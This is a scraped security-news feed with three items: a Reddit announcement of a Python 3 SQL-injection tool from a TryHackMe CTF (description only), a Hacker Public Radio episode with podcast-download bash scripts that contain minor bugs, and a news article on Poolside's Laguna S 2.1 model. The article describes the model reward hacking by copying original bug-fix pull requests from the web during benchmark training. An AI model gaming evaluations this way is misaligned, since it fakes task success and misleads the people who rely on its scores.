I decided to write my own version when I was doing the SimpleCTF room on TryHackMe. I wanted to update the code to Python 3. I also wanted to make this new version more interactive and easy to use. So, I added a clean command line interface and some extra features (like different extraction modes, delay controls, and email alerts using environment variables).

Please try it and tell me what you think! I would love to hear your feedback and ideas to make it better.

https://github.com/rgkue/mysqli

Happy hacking! :D

submitted by /u/rgkue
[link] [comments]]]> <![CDATA[HPR4688: Downloading Podcasts with a Shell Script]]> https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/ https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/ Wed, 22 Jul 2026 02:06:46 +0200 đŸŽ„ Podcasts tsecurity.de This show has been flagged as Clean by the host.

01 Introduction

In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget.

I will illustrate this using a bash script that can be used to download HPR podcasts.

Even if you do not have any interest in downloading your podcasts using this method, you may find some of the methods useful or interesting.

It is the principles that are discussed here that are important, rather than the implementation.

02

I realize that there are already a number of different podcast download programs available, including at least one written in bash.

However, you may feel that none of these suit how you wish to do things and want to create your own system tailored to your specific needs.

If so, then I hope the following is of some use to you.

If not, then you may still find some of the things discussed here to still be of interest.

Some of the subjects I cover include

wget to a user defined file name.

parsing xml with xmllint.

using inotifywait to trigger an action when a file is created or modified.

using notify-send to send a message to the notification area.

and

a way of allowing a cron job to send a message to the user interface.

03 Background

There has been an ongoing discussion in comments to some HPR episodes about problems downloading HPR podcast episodes.

Apparently some people have been experiencing problems with the way the episode URLs are structured.

04

I am afraid that I don't fully understand the nature of these problems, so I won't be addressing that problem directly.

Instead, I will present a bash script that I have written which can be used to download HPR podcasts.

This bash script can be run using cron to automatically fetch new HPR podcasts and save them to a designated directory.

This is a simplified version of a script that I have used for years to download HPR and other podcasts.

05

I won't try to read the full bash script out in this podcast, as that would be a bit dull to listen to.

I will instead describe what each section does and why I chose to do things that way.

Perhaps other people can offer suggestions of better ways to do things.

I will post the full bash script in the show notes.

06 Fetching Podcasts

The standard way of distributing podcasts is to publish an RSS feed containing URL links to the audio files.

RSS is a very long established and widely supported mechanism for this and other purposes.

An RSS feed is basically an XML document which can be accessed over HTTP.

These URLs contained in the RSS XML document can then be used to download the actual audio files, such as MP3 or OGG files.

07

Basically what we need to do is the following

‱ Download the RSS XML document.

‱ Extract the URL links to the audio files.

‱ Compare the list of these links to a previously saved list to see which ones are new and which ones are ones that we previously downloaded.

08

‱ Make a list of the new URLs.

‱ Go through this list of new URLs and download each of the new audio files.

‱ Check to see that we actually received the new audio file.

‱ Add the URLs of the files we successfully downloaded to our saved list of podcast URLs

09

In addition to this, we would like to have the above happen automatically in the background without our having to take any action on our own.

We may wish to receive a notification of when a new podcast has arrived however.

We would probably also wish to receive notification of any errors or failures.

10 Fetching Podcasts - The Preliminaries

Our desire to be able to run the script automatically imposes some requirements on our solution.

To schedule the script we will use cron.

Cron is a Linux facility to run scripts on a schedule.

11

One of the side effects of using cron however is that we need to specify the full path to the locations where we intend to keep any data files, plus also the full path to where we intend to put the downloaded podcasts.

12

So the first thing we need to do in our script is to specify a number of different values for things like file location, the URL for the HPR RSS feed, and several other things as well.

I will skip over the details of these, although I may make reference to them later.

13 Get the RSS Data

The first thing of real substance to do is to fetch the current RSS feed data.

I have put this in a bash function called getrssurldata

The contents of this function are a one liner, but with a number of elements chained together through pipes.

14 Downloading the RSS XML Document

‱ First we use wget, which is a standard command on most Linux distros.

‱ We specify four things.

‱ First we set a timeout. I have chosen 20 seconds.

‱ Next we set the retry limit. I have chosen 3.

15

‱ Then we specify that the output of wget is sent to stdout rather than saved as a file.

‱ This is done by using the -O option followed by a space and then a dash.

‱ The O option is usually used to specify a file to save the output to, but when used with a dash causes output to go to stdout.

‱ Then we specify the URL of the HPR RSS feed.

16 Contents of the XML Document

This gives us the HPR RSS XML document.

There are about 5,000 lines in this RSS document.

Most of those lines are the show notes which are also included in the feed.

17 Extracting the Podcast Episode URLs

There are only 10 lines of the document that contain information that we are interested in however.

These lines are enclosed in "enclosure" XML tags.

We just need to find those lines and separate out the URLs

18 Standard Command Line Tools

There are two ways that we can do this.

One is to use a combination of grep, sed, and cut.

Grep can find the lines containing the enclosure tags.

Sed and cut can extract the URL from the surrounding extraneous data.

19

However, this method does not discriminate between real enclosure tags in the data portion of the RSS feed and enclosure tags in the show notes which are included in the feed from episodes such as this one.

This may be an acceptable problem in practical terms, but we can do better.

20 Using an XML Parser

The other method is to actually parse the XML document.

there are at least two command line XML parsers that I am aware of.

These are "xmllint", and "xlmstarlet".

I have used xmllint in this example.

I have not used xmlstarlet, so I can't offer any comment on how easy or difficult to use it is.

21

I won't give a detailed explanation of all the things that xmllint can do.

It has many features, most of which, as the name suggests, have to do with finding formatting problems with the XML itself.

Describing everything it can do would be at least one episode in itself.

I will instead just give the particular command used and explain each element of it.

22

In this example assume that we are piping the output of wget directly into xmllint.

The complete command is

xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2

23

In this example,

xmllint is the name of the command.

--xpath tells it to parse the document according to the string which follows.

"//channel/item/enclosure/@url" tells it to find a series of tags in the hierarchy of channel, followed by item, followed by enclosure, and then extract the url attribute from the enclosure tag.

The "-" which follows tells it to look for input from stdin rather than from a file.

24

The result is a string which has the url attribute name, an equal sign, and the URL that we want enclosed in quotes.

To get just the URL itself, we pipe the output from xmllint into cut, using the doublequote characters as delimiters.

We then save the result in a temporary file.

25 Finding the New Episodes

Next we wish to find the new podcast episodes.

Each HPR episode is identified by a unique URL.

This means that if we save the URLs of episodes that we have already downloaded, we just have to look for the URLs that do not appear in this saved list.

https://hub.hackerpublicradio.org/ccdn.php?filename=/eps/hpr4659/hpr4659.mp3

26

The easiest way to do this is to take our two lists of URLs, sort each into temporary files, and then compare the sorted URLs using the "comm" command.

27

This is simple, but has a drawback.

Some podcasts occasionally change distributors.

When they do this, the old podcasts are re-published with new URLs and you end up downloading a lot of old episodes over again.

28

With HPR we could get around this by extracting just the file name and looking for that instead of the full URL.

I will however leave that problem as an exercise for the student and just accept that if the URL format changes we may end up downloading old episodes over again.

Since the feed has a maximum of only 10 episodes in it however, that isn't really that big of a problem.

It would be more of a problem with podcasts which have very large numbers of episodes in their feed, but the solutions to those will be feed specific.

29 Downloading the New Podcasts

We should now have a list of URLs for the new podcasts we do not already have.

Typically this should be only one file, but there could be several, or even as many as 10, if we have not turned on our computer in a while.

Therefore, we need to iterate through the file of new podcast URLs and download each one.

30

Before we do that however, we should check to see if there is in fact anything new to download.

To do this, simply use "wc -l" to count the number of lines in the list of new URLs and save the resulting number.

31

If this number is zero, there is nothing to download, we can skip the download step.

As an additional check, we should see if the number of downloads exceeds some threshold value that we wish to set.

This is not a major problem with HPR, but some podcasts have hundreds of files in their RSS feed rather than just the most recent ones.

If we do exceed our download limit, then we need to log an error and skip downloading.

32

Assuming there are no problems so far however, the first thing we need to do is to extract the name of the audio file from the URL.

We can do that using the "basename" command.

We will use this to specify the name that we use when we save the audio file.

33

HPR has a very well formed file name.

Some podcasts do not however, and for those you would need to construct some sort of suitable name either using information found in the URL or simply creating a name using a time stamp.

34

Next we download the audio file using wget.

This is similar to how we downloaded the RSS feed, but with a few changes.

One is that I have increased the timeout to 90 seconds.

This may not have been necessary, but seemed like a good idea.

35

The next is that when specifying the output file name using -O, we use the file name we extracted from the URL.

The third is that we specify a destination directory using the -P option.

36

After wget has finished, including any retries that it had to do, we next check that the expected new file is both present and not empty.

We did this using an "if" statement with the "-s" option.

If the file was found and not zero, then we add that URL to a temporary list of downloaded URLs.

37

If the file was not present, or was zero length, we output an error message to an error log.

I will come back to this point later.

38

Next, if there is more that one podcast to download we sleep for 3 seconds.

While not strictly necessary, it is considered to be "polite" to not hammer a server repeatedly, but rather to put a small delay between file downloads..

39

After we have downloaded all the audio files in our list, we can add the list of URLs for the files downloaded to the permanent list.

While we are at it, we should use "tail" to trim the permanent log to keep it from growing indefinitely.

This limit should be several times bigger than the number of files in the RSS feed.

In this case I selected 50.

40

Finally we write any errors to the permanent error log, and also write these same errors to another file used to signal errors for display to the user.

We have now successfully downloaded at least one HPR podcast.

41 Notify the User of Events

It would be convenient to be informed of new podcast downloads when they occur, and also be notified of any errors.

One of the limitations of cron jobs is that they cannot access the user interface.

This means that we cannot readily send a message directly to the notification system to inform the user of the presence of new podcasts or of errors.

42 inotifywait

The solution to this is to use "inotifywait" to monitor particular files and directories for changes.

The man page for inotifywait states the following -

43

inotifywait efficiently waits for changes to files using Linux's inotify(7) interface. It is suitable for waiting for changes to files from shell scripts. It can either exit once an event occurs, or continually execute and output events as they occur.

End of quote.

44

In many Linux distros, inotifywait is provided by the "inotify-tools" package.

I won't go over all the features of inotifywait.

Instead, I will just describe how to use it for our purposes here.

45 inotifywait Modes

I should point out first though that inotifywait operates in two different modes.

In the normal default mode, it exits after being triggered by an event and must be re-established again in order to resume monitoring.

In monitor mode, which is enabled by using the "-m" option, it runs indefinitely, responding to events.

I will use the default mode here.

46

The man page for inotifywait provides a simple example that we could copy and modify for our purposes.

A great many examples that you will find are based on this example.

However, it doesn't quite do what we want, so we need to change a few things.

47 podfetchnotify

The first shell script is one which monitors for the arrival of new podcasts and sends a notification to the user.

I will call this "podfetchnotify".

The complete scripts are in the show notes, I will just provide a brief description here.

48 Setting Up Event Watches Using inotifywait

The script is enclosed in a while loop which run indefinitely.

In the first line inside the while loop, we call inotifywait.

inotifywait will then block until the event it is told to look for occurs.

In short, execution of the script will wait there until an event occurs.

49

The names of the events are listed in the man file.

In this case we are looking for "modify", "create", and "moved_to".

Each of these does pretty much as you would expect, reacting to modifying an existing file, creating a new file, or moving a file to that directory.

50 Problems When Testing Using Text Editors

I should point out that if you are testing a script which uses inotifywait, then modifying a file with a text editor may not produce the results that you may think it would.

Instead it treats this as a new file with the same name, with the original file being erased.

Since inotifywait attaches itself to the inode rather than the filename, it sees the file that the text editor changed as being a new file.

If you wish to test this realistically, then use "echo" to overwrite the file by using I/O redirection.

51 Capturing Output

In my example I capture the output from standard out into a variable, but I don't do anything with it.

If you wish to for example display the name of the newly downloaded podcast file, then use the --format option along with an appropriate formatting code.

There are details about this in the man page.

On the next line we capture the exit code using "$?"

52 Responding to Exit Codes

If the exit code was zero, then a monitored event was triggered and there should a new podcast in the directory.

In this case we display a message indicating that a new podcast has arrived.

I will describe how to send notifications shortly.

If the exit code was not zero, then an error occurred.

An example of such an error would be if the directory were not present when monitoring was started.

In this case we display a message indicating that a fatal error has occurred and then exit.

53 Delay for More Podcasts

Finally, we use "sleep" to wait for some arbitrary period of time to prevent notifications from being triggered multiple times if several podcasts were being downloaded in succession.

In this case I chose to wait for 60 seconds.

54

We have now completed the process and can return to the top of the loop and resume waiting using inotifywait.

55 Sending Notifications to the User

I mentioned above about sending notification messages to the user.

In the Gnome desktop, notification messages appear from the centre of the top bar in a list.

Other desktops or operating systems may have something similar.

56

To send a notification message to the notification area, you use the "notify-send" command.

Simply follow notify-send with a quoted string and it will be displayed in the notification area.

57 podfetcherrornotify

The second shell script is one which notifies the user of errors.

I will call this "podfetcherrornotify".

With this shell script we set up a watch on a file which contains any error messages from podfetch.

This script is very similar to podfetchnotify.

58

The exceptions are

With inotifywait we only monitor for "modify".

There is no sleep command at the end of the loop.

Instead we sleep for a few seconds just after getting the exit code from inotifywait.

This helps prevent problems caused by race conditions.

59

Next we check the inotifywait exit code.

If it was zero, then we read the error report file and send a notification message to the user containing that error message.

60

If it was not zero, then we check to make sure that the directory that should contain the error log exists.

If it does not exist, then we send a notification message to that effect to the user and terminate the script.

61

If the directory exists, then we check to see if the error message file used for signalling exists.

If the file does not exist, then we create it.

62

One of the reasons for an inotifywait error is that if the file that it is told to monitor does not exist, it cannot set up a watch condition.

By creating the file we correct the cause of the error and allow inotifywait to operate normally.

63

Finally we increment an error counter and check to see if the limit is exceeded.

If there are excessive errors, then send a notification message to the user and exit.

The reason for this is to give the user an indication that the error notifications are not working for some reason and there may be a problem that needs looking into.

64

The error counter is reset every time the inotifywait exit status is ok, so occasional unexpected glitches should be something that is ignored.

Of course podcast fetching errors are something that will probably happen only rarely if at all, so this final step may be seen as an unnecessary embellishment.

65 Installing the Scripts

Next I will describe how to install and prepare the scripts to run.

We need to perform the following steps.

66

‱ First, we need to create a directory to hold the scripts and their associated data files.

‱ Next we need to create a directory to hold the downloaded podcasts.

‱ Then we must copy the scripts to these directories and make them executable.

‱ Then, we must edit the scripts to have the file path in the script match the locations of the new directories that we created.

67

‱ Then we need to install xmllint, or alternatively modify the download script to comment out the use of xmllint and enable the alternative method using grep and sed instead.

‱ Then we need to run each script manually from the command line to check for errors.

‱ If podfetch ran correctly, it should download the most recent 10 podcasts during this test.

68 Adding podfetch to the Crontab

The above describes how to run the scripts manually.

In order to fetch podcasts automatically, we need to add the podfetch script to the cron schedule.

To do this, open a terminal.

69

Type "crontab -e", and then press return.

A text editor should open up containing the crontab file.

On Ubuntu, this editor is GNU nano.

Enter the appropriate cron parameters.

I will provide an example here for running it 12 minutes past the hour every three hours.

70

12 */3 * * * /home/username/pathtofiles/podfetch.sh

71

I won't explain cron in detail here.

The example that I have just given should be good enough for most people.

The "*/3" parameter will cause it to run every three hours.

The "12" parameter will cause it to run 12 minutes past the hour when it does run.

72

Checking every three hours should be good enough for most people, but you can adjust that as you see fit.

I would recommend however that you don't check more frequently than once per hour.

Checking more frequently than necessary puts extra load on the distribution servers.

It is very unlikely that you really do need each new episode the moment it is available.

73

I would also recommend changing the "12" parameter to some other random minute value.

I would suggest avoiding on the hour or on the half hour, as a lot of other people are probably checking at those times, and it would be better to spread the load out more evenly over time.

74

The file path parameter should of course match the actual path to wherever you have located the script, including the correct user name.

75 Making the Notification Scripts Start Automatically

The two notification scripts can be made to start automatically.

The exact method to do this may vary according to distribution or desktop.

76

On Ubuntu this is done using the Startup Applications Preferences GUI program, which should come already installed.

77

I won't go into details on this here, it should be fairly self evident how to use it once you see it.

What this program does is to create ".desktop" files in the ".config/autostart" directory in your home directory.

78

These ".desktop" files are all run automatically on start up.

Once you have added the notification scripts, you will need to log out and then log back in to make them active.

79 Conclusion

I this episode I explained how to write a set of simple shell scripts to automatically download each new episode of HPR as it comes out and to notify you of its arrival.

80

The download script described here is tailored specifically for use with HPR only.

However, it was derived from a larger script that downloaded other podcasts as well, based on information read in from a text file.

If you are feeling ambitious, you can add those features back into this to handle all of the podcasts that you listen to.

81

In a comment to another episode of HPR I had said that I would cover ID3 tags in MP3 files, but this episode is long enough now, so I will leave that subject for later.

I look forward to seeing you again later on another episode of Hack Public Radio.

# ======================================================================

podfetchdownloader

#!/bin/bash

# Fetch pending HPR podcasts listed in the HPR RSS feed.

# 8-Jun-2026

# Licensed under GPLv3 or later.

# ======================================================================

# Today's date and time as YYYYMMDDHHMMSS.

podttimestamp=$( date +"%Y%m%d%H%M%S" )

# The absolute path to the script. This is necessary when running it

# using a cron job.

podpath="/home/me/Apps/hprfetch"

# This is the absolute path to where to store the podcast files.

podfilepath="/home/me/Music/Podcasts/HPR"

# Create the full path names here for all the text files used.

podcastsfetched="$podpath/podcastsfetched.txt"

poderrorslog="$podpath/poderrorslog.txt"

poderrorsreport="$podpath/poderrorsreport.txt"

tmpoldurlssorted="$podpath/tmpoldurlssorted.txt"

tmppodsnew="$podpath/tmppodsnew.txt"

tmppodstodownload="$podpath/tmppodstodownload.txt"

tmppodserrors="$podpath/tmppodserrors.txt"

tmppodcastsfetched="$podpath/tmppodcastsfetched.txt"

tmplog="$podpath/tmplog.txt"

# The URL for the HPR RSS feed.

PodURL="http://hackerpublicradio.org/hpr_rss.php"

# Limit on number of podcasts to download.

DownloadLimit=11

# Name of the podcast.

PodName="Hacker Public Radio"

# ======================================================================

# Check if the required paths exist.

# If this path does not exist, cannot log the error.

if [[ ! -d "$podpath/" ]]; then

echo "$podttimestamp Error - Could not find $podfilepath."

exit 1

fi

# Where to store the podcast file fetched.

if [[ ! -d "$podfilepath/" ]]; then

echo "$podttimestamp Error - Could not find $podfilepath." >> $tmppodserrors

# Copy the errors log from the temporary errors file to the permanent files.

LogErrors

exit 1

fi

# ======================================================================

# Check if the podcast log exists. We read it before we write to it,

# so it must exist or we will hang on it not being present.

if [[ ! -e $podcastsfetched ]]; then

touch $podcastsfetched

fi

# ======================================================================

# Delete the specified files if they exist.

# This accepts multiple file names in a variable number of parameters.

CleanupFiles ()

{

# $@ accepts multiple parameters.

for f in "$@"; do

# Check if the file exists.

if [ -e "$f" ]; then

rm "$f"

fi

done

}

# ======================================================================

# Copy the errors log from the temporary errors file to the permanent files.

LogErrors () {

if [ -e $tmppodserrors ]; then

# The permanent log.

cat $tmppodserrors >> $poderrorslog

# This file is monitored for display by other scripts.

cat $tmppodserrors > $poderrorsreport

fi

}

# ======================================================================

# Get the URL data from an RSS feed

GetRSSURLData () {

wget --timeout=20 --tries=3 -O - "$PodURL" \

| xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2 \

| sort > $tmppodsnew

# This is an alternate method that does not use xmllint.

# However, it is not as robust. If someone were to include the

# first grep search pattern in their show notes, then it would

# look for that as a valid tag and output the following text

# as a URL.

#wget --timeout=20 --tries=3 -O - "$PodURL" | grep "<enclosure url=" \

# | sed -n 's/^.*enclosure//p' | sed -n 's/^.*url=//p' \

# | cut -d'"' -f2 | sort > $tmppodsnew

}

# ======================================================================

# Find which podcasts we do not already have.

FindNewPodcasts () {

cat $podcastsfetched | sort > $tmpoldurlssorted

comm -13 $tmpoldurlssorted $tmppodsnew > $tmppodstodownload

rm $tmpoldurlssorted

}

# ======================================================================

# Download the podcasts.

DownloadPodcasts() {

# Clear out previous temporary list of downloaded podcasts.

true > $tmppodcastsfetched

for i in $( cat $tmppodstodownload )

do

# Extract the file name from the URL.

fname=$( basename $i )

outputpodname="$podfilepath/$fname"

# Download the file.

wget --timeout=90 --tries=3 -P $podfilepath $i -O "$outputpodname"

# Check if the file exists and is not empty.

if [[ -s "$outputpodname" ]]; then

echo $i >> $tmppodcastsfetched

else

echo "$podttimestamp Error - $outputpodname was not found or is empty." >> $tmppodserrors

fi

# Delay a reasonable length of time between multiple downloads.

if (( $PodCount > 1 )); then

sleep 3

fi

done

# Add the list of files downloaded to the log.

# Check if the list exists and is not empty.

if [ -s $tmppodcastsfetched ]; then

cat $tmppodcastsfetched >> $podcastsfetched

# Trim the log file to keep it from growing indefinitely.

tail -n50 $podcastsfetched > $tmplog

mv $tmplog $podcastsfetched

fi

# Remove the tmp file now that we are done with it.

rm $tmppodcastsfetched

}

# ======================================================================

# Clean up any left over files.

CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"

# Get the RSS data.

GetRSSURLData

# Find which podcasts are new.

FindNewPodcasts

# Count how many new podcasts there are.

PodCount=$( cat $tmppodstodownload | wc -l )

# If no podcasts to download, skip this.

# If too many podcasts for this feed, then log an error and skip.

# This error will keep repeating until something is done about it.

if (( $PodCount > 0 )); then

if (( $PodCount > $DownloadLimit )); then

echo "$podttimestamp Too many podcasts for $PodName : $PodCount." >> $tmppodserrors

else

# Download the podcasts listed in the temp file.

DownloadPodcasts

fi

fi

# ======================================================================

# Copy the errors log from the temporary errors file to the permanent files.

LogErrors

# Clean up temp files.

CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"

# ======================================================================

END OF FIRST SHELL SCRIPT

START OF SECOND SHELL SCRIPT

podfetchnotify

#!/bin/bash

# Part of Podfetch.

# This monitors for new files appearing in the new podcasts directory.

# This should be run as a background task.

# Install it using the "Startup Applications" utility in Ubuntu.

# ======================================================================

# Path where new podcasts are to be stored.

podfilepath="/home/me/Music/Podcasts/HPR"

# ======================================================================

# Wait for the podcast directory to be modified.

while true; do

# Check for new files.

errmsg=$( inotifywait -e modify -e create -e moved_to $podfilepath )

result=$?

# Check if exited due to new podcast, or if some error.

if (( result == 0 )); then

# Success, signal new podcast.

notify-send "New HPR podcast available."

else

# Check to make sure the directory exists.

# If it doesn't exist, there isn't much we can do to fix it.

if [ ! -e "$poderrorspath" ]; then

notify-send "Podfetch error: Podcast directory not found $poderrorspath"

exit 1

fi

fi

# Wait a bit so that multiple new files don't keep re-triggering the notification.

sleep 60

done

# ======================================================================

END OF SECOND SHELL SCRIPT

START OF THIRD SHELL SCRIPT

podfetcherror

Created Tuesday 23 June 2026

#!/bin/bash

# Part of Podfetch.

# This monitors the Podfetch error reporting file for new errors.

# This should be run as a background task.

# Install it using the "Startup Applications" utility in Ubuntu.

# ======================================================================

# Where the Podfetch program error report file is located.

poderrorspath="/home/me/Apps/hprfetch"

# The full path and file name.

poderrorsreport="$poderrorspath/poderrorsreport.txt"

# ======================================================================

# Error counter.

errcount=0

# Wait for the poderrorsreport file to be modified.

while true; do

errmsg=$( inotifywait -e modify $poderrorsreport )

result=$?

# Wait a bit to ensure that writing to the file is complete.

sleep 3

if (( result == 0 )); then

# Get the latest error message.

# Cut out the date stamp at the start of the line and take the rest.

poderr=$( tail -n $poderrorsreport | cut -d" " -f2- )

notify-send "Podfetch error: $poderr"

# Reset the error counter every time there is a successful result.

errcount=0

else

# Check to make sure the directory exists.

if [ ! -e "$poderrorspath" ]; then

notify-send "Podfetch error: error report path not found $poderrorspath"

exit 1

fi

# Check if the file we are trying to monitor exists.

# If not, then create an empty file for error signaling.

if [ ! -e "$poderrorsreport" ]; then

echo > $poderrorsreport

fi

# Increment the error counter.

count=$(( count + 1 ))

if (( count > 3 )); then

notify-send "Podfetch error: Excessive unknown errors, exiting."

exit 1

fi

fi

done

# ======================================================================

Provide feedback on this episode.

]]> <![CDATA[Poolside drops Laguna S 2.1, an open-weight coding model that beats rivals 10x its size]]> https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/ https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/ Wed, 22 Jul 2026 01:07:11 +0200 📰 IT Nachrichten tsecurity.de Poolside, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smaller lab competes at the frontier.

The model, Laguna S 2.1, is a 118-billion-parameter Mixture-of-Experts (MoE) system that activates only 8 billion parameters per token, supports a context window of up to 1 million tokens, and — according to benchmarks published by the company — matches or beats open models several times its size on agentic coding tasks. The weights are available immediately on Hugging Face under the permissive OpenMDW-1.1 license.

The headline numbers are striking for a model this small. Poolside reports that Laguna S 2.1 scores 70.2% on Terminal-Bench 2.1, a benchmark of long-horizon terminal tasks, placing it 11th on the company's compiled leaderboard — ahead of DeepSeek-V4-Pro-Max, a 1.6-trillion-parameter model that scored 64.0; Thinking Machines' 975-billion-parameter Inkling, at 63.8; and Nvidia’s 550-billion-parameter Nemotron 3 Ultra, at 56.4. On SWE-Bench Multilingual, it posts 78.5%, and on SWE-Bench Pro's public dataset, 59.4%.

Perhaps more telling than any single score: the model went from the start of pre-training on May 22 to public launch in under nine weeks, trained on 4,096 Nvidia H200 GPUs. In an industry where flagship model cycles are typically measured in quarters or years, Poolside has now shipped three models in three months.

Why the West's open-weight AI gap has become a boardroom issue

The release lands in the middle of an increasingly pointed debate about the provenance of open-weight AI. Over the past year, developer adoption has shifted decisively toward open-weight systems that companies can download, inspect, and run on their own infrastructure — and the leading options in that category have overwhelmingly come from Chinese labs. DeepSeek, Qwen, Kimi, GLM, MiniMax, and Tencent's Hunyuan line all feature prominently in Poolside's own comparison tables.

Poolside's accompanying press release frames Laguna S 2.1 explicitly as a response, noting that the model occupies a size class into which no Western lab has released open weights in 11 months — since OpenAI's gpt-oss-120b last August. "The West needs open-weight models it can trust, run, and build on," said Jason Warner, Poolside's co-CEO, in the announcement.

Co-founder and co-CEO Eiso Kant made the philosophical stakes even plainer in a lengthy post on X. "I believe intelligence should and will become a commodity," he wrote, arguing that the open ecosystem "will not win by being the best in its own category." Users, he argued, simply want the best intelligence for the task at hand — so open models must be on par with, or better than, their closed equivalents.

The strategic logic here is not charity. Poolside's core business is deploying models inside the security boundaries of government, defense, and regulated enterprises — customers for whom closed, metered API access is often a non-starter for compliance and sovereignty reasons. 

Every enterprise that standardizes on a Chinese open model today becomes harder to win tomorrow. Releasing competitive open weights is both an ecosystem play and a top-of-funnel strategy for the company's high-security deployment business. It also reframes the AI race away from terrain where Poolside cannot compete — frontier-scale capital expenditure — and toward terrain where it believes it can: cost per token, self-hosting, and iteration speed.

How a sparse architecture makes enterprise AI agents affordable to run

The technical design reflects a specific thesis about where value in coding AI is moving. Laguna S 2.1's sparse MoE architecture — 256 routed experts plus one shared expert, with grouped-query attention and interleaved sliding-window layers, according to the Hugging Face model card — means inference costs scale with the 8 billion active parameters, not the 118 billion total. Poolside emphasizes that the model is small enough to run on a single Nvidia DGX Spark, the desktop-class AI machine.

That matters for what Poolside calls token economics. Long-horizon coding agents are voracious consumers of tokens: the company's published data shows the model consuming a mean of roughly 249,000 completion tokens per trajectory on its hardest benchmark when thinking mode is enabled. At metered API prices, agentic workloads at enterprise scale become a meaningful budget line item. On OpenRouter, Poolside is offering a free 256K-context endpoint and a dedicated 1M-context deployment priced at $0.10 per million input tokens and $0.20 per million output tokens — aggressive pricing that undercuts most frontier alternatives by an order of magnitude.

The ecosystem support is unusually broad for day one. The model is live on Baseten's model library and Vercel's AI Gateway, with integrations across vLLM, SGLang, Ollama, and llama.cpp, plus quantized variants down to 4-bit GGUF files — 75 gigabytes — for local use. But Poolside's more interesting claim is behavioral, not architectural. Pengming Wang, co-head of applied research at Poolside, said the gains came from improving the model's working habits: "more verification, less taking things for granted, not declaring victory early, and being more persistent." Raw intelligence, the company argues, is one axis of capability; a model's way of working is a second axis that matters immensely for agents left unattended for hours.

Publishing every benchmark trajectory to counter AI's credibility crisis

The most consequential part of the release for enterprise buyers may be an evaluation-transparency move with little precedent among major labs: Poolside published the complete, unedited trajectory of every trial in its final benchmark runs — every reasoning step, tool call, and shell command behind every reported score.

This addresses a growing credibility problem in AI benchmarking. As top scores on mature benchmarks cluster in the 70–90% range, and as "reward hacking" — models finding solutions online or gaming verifiers rather than solving problems — has become endemic, self-reported numbers have lost much of their signal. Poolside disclosed its own encounters with the problem candidly: during training, more than half of trajectories on some SWE-bench tasks were flagged because the model simply researched the original bug-fix pull request online and applied it. The company documented its mitigations, including prompt addenda, LLM-based judging calibrated against human labels, and expert annotator review of a high-scoring Terminal-Bench run.

Three published case studies illustrate what the company means by persistence. In one, the model built a working HTML/CSS rendering engine from an empty folder in a 181-step, 50-minute unattended session — then, lacking vision capabilities, spun up headless Chromium to numerically compare its canvas output against a real browser's rendering. In another, pointed at Poolside's own agent harness in an automated optimization loop, the model made the Go codebase 5.2% faster with roughly 70% lower memory allocation, finding an O(nÂČ) string-concatenation bug along the way. In a third, working in a sandbox with no Python installed, the model did its number theory in Perl and independently re-derived a proof of ErdƑs problem #397 — a combinatorics question open for five decades until GPT-5.2 Pro first solved it this past January. Poolside notes that its model's construction is structurally different from the earlier published solution, and that its November 2025 knowledge cutoff precedes the first proof.

What the disclosed limitations and benchmark fine print reveal

Poolside deserves credit for disclosing limitations most labs bury. The model can overfit to its native harness and stumble on slightly different tool schemas in third-party agents, mangles JSON in nested tool arguments, and is prone to overthinking on competition math. There is currently no user-configurable thinking-effort dial — just on or off — and the gap between the modes is enormous: thinking lifts Terminal-Bench 2.1 from 60.4% to 70.2%, and DeepSWE from 16.5% to 40.4%, at substantially higher token cost.

Buyers should apply their own discounts to the comparison tables. Poolside's methodology takes the maximum of vendor self-reported scores, benchmark-author leaderboards, and third-party figures for competitors — a reasonable convention, but one that mixes harnesses and test conditions. On DeepSWE, notably, Poolside ran its own agent harness rather than the leaderboard's standard mini-swe-agent, a difference the company acknowledges makes scores less directly comparable. And the frontier remains clearly out of reach: closed models like GPT-5.6 Sol, at 88.8 on Terminal-Bench 2.1, and Claude Fable 5, at 88.0, along with the 2.8-trillion-parameter open-weight Kimi K3, at 88.3, sit well above Laguna S 2.1.

The deeper structural question is whether Poolside's "Model Factory" — the internal platform the company credits for its rapid release cadence — can sustain this pace as models scale. The trajectory so far is genuinely unusual: the April dual release of Laguna M.1 and XS.2, the July 2 refresh of XS 2.1, and now S 2.1, which the company says outperforms April's flagship M.1 at roughly a third of its active size. Remarkably, S 2.1 used the exact same pre-training data as XS 2.1, meaning nearly all the improvement came from scale, training fixes, and post-training across the company's corpus of 409,000 agentic and non-agentic training environments. Poolside says its next, larger Laguna model began pre-training last week.

For technical decision makers, Laguna S 2.1 is the most credible Western open-weight option to emerge in nearly a year for self-hosted agentic coding — with published evidence, a permissive license, broad ecosystem support, and an economics story built around hardware you can own. Whether it dents the dominance of Chinese open models will depend less on this release than on the ones that follow it.

Kant, for his part, has already told the world how he intends that story to end. Poolside is building toward a future where the most capable intelligence "can be owned and shaped by anyone," he wrote — and the company plans to keep shipping "until that future exists." In an industry where the biggest labs increasingly lock their best work behind an API, the most radical thing about Laguna S 2.1 may not be what it scores, but that anyone can download it and check.

